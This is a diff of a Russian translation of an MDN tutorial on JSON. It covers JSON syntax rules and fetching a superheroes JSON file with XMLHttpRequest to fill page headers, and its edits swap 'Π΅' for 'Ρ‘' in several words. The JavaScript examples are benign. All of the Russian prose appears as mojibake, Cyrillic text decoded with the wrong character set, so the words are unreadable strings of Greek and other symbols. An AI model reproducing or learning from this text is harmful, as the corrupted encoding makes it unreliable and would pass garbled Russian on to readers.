-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ JSON ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранСн Π² собствСнном Ρ„Π°ΠΉΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном прСдставляСт собой тСкстовый Ρ„Π°ΠΉΠ» с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ <code>.json</code> ΠΈ {{glossary("MIME type")}} <code>application/json</code>.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ JSON ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранён Π² собствСнном Ρ„Π°ΠΉΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном прСдставляСт собой тСкстовый Ρ„Π°ΠΉΠ» с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ <code>.json</code> ΠΈ {{glossary("MIME type")}} <code>application/json</code>.</p>
<h3 id="Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_JSON">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° JSON</h3>
@@ -85,7 +85,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/JSON
Β  ]
}</pre>
-<p>Если Π±Ρ‹ ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ JavaScript, создали ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ <code>superHeroes</code>, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Β ΠΆΠ΅ самыС Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΡƒΡŽ ΠΈ ΡΠΊΠΎΠ±ΠΎΡ‡Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассмотрСли Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a>. НапримСр:</p>
+<p>Если Π±Ρ‹ ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ JavaScript, создали ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ <code>superHeroes</code>, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Ρ‘, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Β ΠΆΠ΅ самыС Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΡƒΡŽ ΠΈ ΡΠΊΠΎΠ±ΠΎΡ‡Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассмотрСли Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a>. НапримСр:</p>
<pre class="brush: js">superHeroes.homeTown
superHeroes['active']</pre>
@@ -139,10 +139,10 @@ superHeroes['active']</pre>
<ul>
<li>JSON - это чисто Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… - ΠΎΠ½ содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ свойства, Π±Π΅Π· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ².</li>
- <li>JSON Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄Π²ΠΎΠΉΠ½Ρ‹Ρ… ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ строк ΠΈ ΠΈΠΌΠ΅Π½ свойств. ΠžΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹.</li>
+ <li>JSON Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄Π²ΠΎΠΉΠ½Ρ‹Ρ… ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ строк ΠΈ ΠΈΠΌΡ‘Π½ свойств. ΠžΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹.</li>
<li>Π”Π°ΠΆΠ΅ ΠΎΠ΄Π½Π° нСумСстная запятая ΠΈΠ»ΠΈ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ привСсти ΠΊ сбою JSON-Ρ„Π°ΠΉΠ»Π° ΠΈ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ остороТны, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ (хотя сгСнСрированный ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ JSON с мСньшСй Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ошибки, Ссли ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ JSON с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ прилоТСния Π²Ρ€ΠΎΠ΄Π΅Β <a href="http://jsonlint.com/">JSONLint</a>.</li>
<li>JSON ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ любого Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ…, допустимого для Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² JSON, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ массивов ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ΄Π½Π° строка ΠΈΠ»ΠΈ Π½ΠΎΠΌΠ΅Ρ€ Π±ΡƒΠ΄ΡƒΡ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ JSON.</li>
- <li>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΊΠΎΠ΄Π° JavaScript, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡΒ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, Π² JSON Π² качСствС свойств ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΡΡ‚Ρ€ΠΎΠΊΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅Β Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
+ <li>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΊΠΎΠ΄Π° JavaScript, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡΒ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, Π² JSON Π² качСствС свойств ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΡΡ‚Ρ€ΠΎΠΊΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅Β Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
</ul>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π Π°Π±ΠΎΡ‚Π°_с_ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ_JSON">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: Π Π°Π±ΠΎΡ‚Π° с ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ JSON</h2>
@@ -175,7 +175,7 @@ var section = document.querySelector('section');</pre>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ JSON, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ {{domxref("XMLHttpRequest")}} (часто Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <strong>XHR</strong>). Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ сСтСвыС запросы для извлСчСния рСсурсов с сСрвСра Ρ‡Π΅Ρ€Π΅Π· JavaScript (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, изобраТСния, тСкст, JSON, Π΄Π°ΠΆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ HTML), Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ нСбольшиС Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±Π΅Π· нСобходимости ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСй страницы. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ ΠΊ Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ Π²Π΅Π±-страницам ΠΈ Π·Π²ΡƒΡ‡ΠΈΡ‚ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅, Π½ΠΎ, ΠΊ соТалСнию, Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒΒ ΡΡ‚ΠΎΒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</p>
<ol>
- <li>НачнСм с Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ собираСмся ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ URL-адрСс JSON, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ JavaScript:
+ <li>Начнём с Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ собираСмся ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ URL-адрСс JSON, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ JavaScript:
<pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';</pre>
</li>
<li>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ запрос, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° запроса ΠΈΠ· конструктора <code>XMLHttpRequest</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π½ΠΈΠΆΠ΅ свою послСднюю строку:
@@ -204,9 +204,9 @@ request.send();</pre>
</li>
</ol>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сохраняСм ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° наш запрос (доступный Π² свойствС <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code>) Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>superHeroes</code>; эта пСрСмСнная Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, основанный Π½Π° JSON! Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄Π²ΡƒΠΌ Π²Ρ‹Π·ΠΎΠ²Π°ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ <code>&lt;header&gt;</code> ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ создаст ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΊΠ°Ρ€Ρ‚Ρƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ гСроя Π² ΠΊΠΎΠΌΠ°Π½Π΄Π΅ ΠΈ вставляСт Π΅Π΅ Π² <code>&lt;section&gt;</code>.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сохраняСм ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° наш запрос (доступный Π² свойствС <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code>) Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>superHeroes</code>; эта пСрСмСнная Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, основанный Π½Π° JSON! Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄Π²ΡƒΠΌ Π²Ρ‹Π·ΠΎΠ²Π°ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ <code>&lt;header&gt;</code> ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ создаст ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΊΠ°Ρ€Ρ‚Ρƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ гСроя Π² ΠΊΠΎΠΌΠ°Π½Π΄Π΅ ΠΈ вставляСт Π΅Ρ‘ Π² <code>&lt;section&gt;</code>.</p>
-<p>ΠœΡ‹ свСрнули код Π² обработчик событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся, ΠΊΠΎΠ³Π΄Π° событиС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ запускаСтся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ запроса (см. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) - это связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ событиС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ запускаСтся, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ возвращаСтся; поступая  таким ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,это гарантия Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ <code>request.response</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступСн, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π½ΠΈΠΌ.</p>
+<p>ΠœΡ‹ свСрнули код Π² обработчик событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся, ΠΊΠΎΠ³Π΄Π° событиС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ запускаСтся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ запроса (см. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) - это связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ событиС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ запускаСтся, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ возвращаСтся; поступая  таким ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,это гарантия Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ <code>request.response</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступСн, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π½ΠΈΠΌ.</p>
<p>Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°</p>
@@ -222,11 +222,11 @@ request.send();</pre>
header.appendChild(myPara);
}</pre>
-<p>ΠœΡ‹ Π½Π°Π·Π²Π°Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>jsonObj</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ сСбС, Ρ‡Ρ‚ΠΎ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript Π²ΠΎΠ·Π½ΠΈΠΊ ΠΈΠ· JSON. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сначала создаСм элСмСнт {{HTMLElement("h1")}} с <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement">createElement()</a></code>, устанавливаСм Π΅Π³ΠΎ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent</a></code> Ρ€Π°Π²Π½Ρ‹ΠΌ свойству <code>squadName</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ добавляСм Π΅Π³ΠΎ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ выполняСм ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ с Π°Π±Π·Π°Ρ†Π΅ΠΌ: создаСм Π΅Π³ΠΎ, устанавливаСм Π΅Π³ΠΎ тСкстовоС содСрТимоС ΠΈ добавляСм Π΅Π³ΠΎ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ тСкст Π·Π°Π΄Π°Π½, ΠΊΠ°ΠΊ конкатСнированная строка, содСрТащая ΠΊΠ°ΠΊ <code>homeTown</code>, Ρ‚Π°ΠΊ ΠΈ <code>formed</code> свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
+<p>ΠœΡ‹ Π½Π°Π·Π²Π°Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>jsonObj</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ сСбС, Ρ‡Ρ‚ΠΎ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript Π²ΠΎΠ·Π½ΠΈΠΊ ΠΈΠ· JSON. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сначала создаём элСмСнт {{HTMLElement("h1")}} с <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement">createElement()</a></code>, устанавливаСм Π΅Π³ΠΎ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent</a></code> Ρ€Π°Π²Π½Ρ‹ΠΌ свойству <code>squadName</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ добавляСм Π΅Π³ΠΎ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ выполняСм ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ с Π°Π±Π·Π°Ρ†Π΅ΠΌ: создаём Π΅Π³ΠΎ, устанавливаСм Π΅Π³ΠΎ тСкстовоС содСрТимоС ΠΈ добавляСм Π΅Π³ΠΎ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ тСкст Π·Π°Π΄Π°Π½, ΠΊΠ°ΠΊ конкатСнированная строка, содСрТащая ΠΊΠ°ΠΊ <code>homeTown</code>, Ρ‚Π°ΠΊ ΠΈ <code>formed</code> свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
